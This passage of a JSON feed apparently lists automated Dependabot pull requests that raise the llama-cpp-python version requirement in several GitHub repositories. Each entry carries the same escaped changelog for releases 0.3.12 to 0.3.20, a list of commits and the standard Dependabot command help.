embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/02d6beed816535cb2ce845ad8558d0c8662f8e7e\"\u003e\u003ccode\u003e02d6bee\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.20 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2171\"\u003e#2171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/08e088cde15e0b56e46337d6f49000518c18c203\"\u003e\u003ccode\u003e08e088c\u003c/code\u003e\u003c/a\u003e fix(misc): replace deprecated llama.cpp references (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/100b275c88763e2fada18d009e9bca8287cdb7c9\"\u003e\u003ccode\u003e100b275\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7257ba95fbbf65201fd5bf4b7f0bdd1c701e1345\"\u003e\u003ccode\u003e7257ba9\u003c/code\u003e\u003c/a\u003e feat(server): add model-load chat_template_kwargs (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7613aca61259820ab550626384af52eed56a731f\"\u003e\u003ccode\u003e7613aca\u003c/code\u003e\u003c/a\u003e ci: publish release wheels as py3-none (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fcd932a1574b7b6fdfc6c2d652f10f3af66995b5\"\u003e\u003ccode\u003efcd932a\u003c/code\u003e\u003c/a\u003e fix(ci): publish distinct manylinux and musllinux cpu wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f54421ba71db942b262a28762bc9e035a5d4d349\"\u003e\u003ccode\u003ef54421b\u003c/code\u003e\u003c/a\u003e Bump version to 0.3.19 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2162\"\u003e#2162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c670222c8379608aa22ac81e5f6a813620187a26\"\u003e\u003ccode\u003ec670222\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f59...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ac59e5a5ae8d331d80f30d3ddfc50195061637f5\"\u003e\u003ccode\u003eac59e5a\u003c/code\u003e\u003c/a\u003e fix: handle embedding models without KV memory (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/5f9c231ce165126f38c8897fd760ecd7ef79f9fd\"\u003e\u003ccode\u003e5f9c231\u003c/code\u003e\u003c/a\u003e fix(ci): reduce CUDA binary wheel size only including cubins for current arch...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.0...v0.3.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/NorthernTribe-Research/maasai-lang/pull/23","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/NorthernTribe-Research%2Fmaasai-lang/issues/23","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/23/packages"},{"uuid":"4247810049","node_id":"PR_kwDORWEvYs7Rw9Yf","number":260,"state":"open","title":"Update llama-cpp-python requirement from \u003e=0.2.0 to \u003e=0.3.20","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-12T11:33:29.000Z","updated_at":"2026-04-19T01:01:54.297Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Update","packages":[{"name":"llama-cpp-python","old_version":"\u003e=0.2.0","new_version":"\u003e=0.3.20","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Publish distinct manylinux and musllinux CPU wheels by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.19]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f5920b4b5335 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2161\"\u003e#2161\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle embedding models without KV memory and test embeddings with a real GGUF embedding model by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Shrink CUDA wheel fatbins so CUDA releases stay under GitHub's asset size limit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2158\"\u003e#2158\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.18]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Expose \u003ccode\u003eattention_type\u003c/code\u003e in \u003ccode\u003eLlama.__init__\u003c/code\u003e for non-causal embedding models by \u003ca href=\"https://github.com/jamesbiederbeck\"\u003e\u003ccode\u003e@​jamesbiederbeck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2143\"\u003e#2143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Build Docker images from the checked-out source and sanitize branch tags by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2156\"\u003e#2156\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA wheel workflow and keep release tags aligned with the built toolkit by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2155\"\u003e#2155\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Speed up release wheel builds by moving arm64 off QEMU and parallelizing riscv64 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2154\"\u003e#2154\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.17]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@49bfddeca18e62fa3d39114a23e9fcbdf8a22388 and sync Python bindings by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2151\"\u003e#2151\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Handle Qwen 3.5 hybrid prefix reuse by \u003ca href=\"https://github.com/codavidgarcia\"\u003e\u003ccode\u003e@​codavidgarcia\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/r-dh\"\u003e\u003ccode\u003e@​r-dh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2152\"\u003e#2152\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(dev): Add Ruff-based formatting and a safe lint baseline, and run it in CI for pull requests and pushes to \u003ccode\u003emain\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Run macOS CI on supported Apple Silicon and Intel runners by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2150\"\u003e#2150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): Use the \u003ccode\u003ehf\u003c/code\u003e CLI instead of the deprecated \u003ccode\u003ehuggingface-cli\u003c/code\u003e name in GitHub Actions and docs by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2149\"\u003e#2149\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add riscv64 wheel builds to release workflow by \u003ca href=\"https://github.com/gounthar\"\u003e\u003ccode\u003e@​gounthar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2139\"\u003e#2139\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.13]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@bdca38376f7e8dd928defe01ce6a16218a64b040\u003c/li\u003e\n\u003cli\u003efix: Better chat format for Qwen2.5-VL by \u003ca href=\"https://github.com/alcoftTAO\"\u003e\u003ccode\u003e@​alcoftTAO\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2040\"\u003e#2040\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.12]\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/02d6beed816535cb2ce845ad8558d0c8662f8e7e\"\u003e\u003ccode\u003e02d6bee\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.20 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2171\"\u003e#2171\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/08e088cde15e0b56e46337d6f49000518c18c203\"\u003e\u003ccode\u003e08e088c\u003c/code\u003e\u003c/a\u003e fix(misc): replace deprecated llama.cpp references (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/100b275c88763e2fada18d009e9bca8287cdb7c9\"\u003e\u003ccode\u003e100b275\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7257ba95fbbf65201fd5bf4b7f0bdd1c701e1345\"\u003e\u003ccode\u003e7257ba9\u003c/code\u003e\u003c/a\u003e feat(server): add model-load chat_template_kwargs (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7613aca61259820ab550626384af52eed56a731f\"\u003e\u003ccode\u003e7613aca\u003c/code\u003e\u003c/a\u003e ci: publish release wheels as py3-none (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2166\"\u003e#2166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fcd932a1574b7b6fdfc6c2d652f10f3af66995b5\"\u003e\u003ccode\u003efcd932a\u003c/code\u003e\u003c/a\u003e fix(ci): publish distinct manylinux and musllinux cpu wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2165\"\u003e#2165\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/f54421ba71db942b262a28762bc9e035a5d4d349\"\u003e\u003ccode\u003ef54421b\u003c/code\u003e\u003c/a\u003e Bump version to 0.3.19 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2162\"\u003e#2162\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c670222c8379608aa22ac81e5f6a813620187a26\"\u003e\u003ccode\u003ec670222\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@c0159f9c1f874da15e94f371d136f59...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ac59e5a5ae8d331d80f30d3ddfc50195061637f5\"\u003e\u003ccode\u003eac59e5a\u003c/code\u003e\u003c/a\u003e fix: handle embedding models without KV memory (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2160\"\u003e#2160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/5f9c231ce165126f38c8897fd760ecd7ef79f9fd\"\u003e\u003ccode\u003e5f9c231\u003c/code\u003e\u003c/a\u003e fix(ci): reduce CUDA binary wheel size only including cubins for current arch...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.0...v0.3.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/ljbudgie/burgess-principle/pull/260","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljbudgie%2Fburgess-principle/issues/260","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/260/packages"},{"uuid":"4210930876","node_id":"PR_kwDOQPBwZM7QK2Ru","number":502,"state":"open","title":"deps: update llama-cpp-python requirement from \u003c0.3.0,\u003e=0.2.0 to \u003e=0.2.0,\u003c0.4.0","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-06T09:58:38.000Z","updated_at":"2026-04-06T09:58:38.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps: update","packages":[{"name":"llama-cpp-python","old_version":"\u003c0.3.0,\u003e=0.2.0","new_version":"\u003e=0.2.0,\u003c0.4.0","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Updates the requirements on [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.20]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003erefactor: Replace deprecated llama.cpp references in library, docs, and examples by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2170\"\u003e#2170\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f49e9178767d557a522618b16ce8694f9ddac628 by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2169\"\u003e#2169\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(server): Add model-load \u003ccode\u003echat_template_kwargs\u003c/code\u003e support and document the CLI/config usage by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2168\"\u003e#2168\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Publish release wheels as \u003ccode\u003epy3-none\u003c/code\u003e by \u003ca href=\"https://github.com/Bing-su\"\u003e\u003ccode\u003e@​Bing-su\u003c/code\u003e\u003c/a\u003e in \u003ca 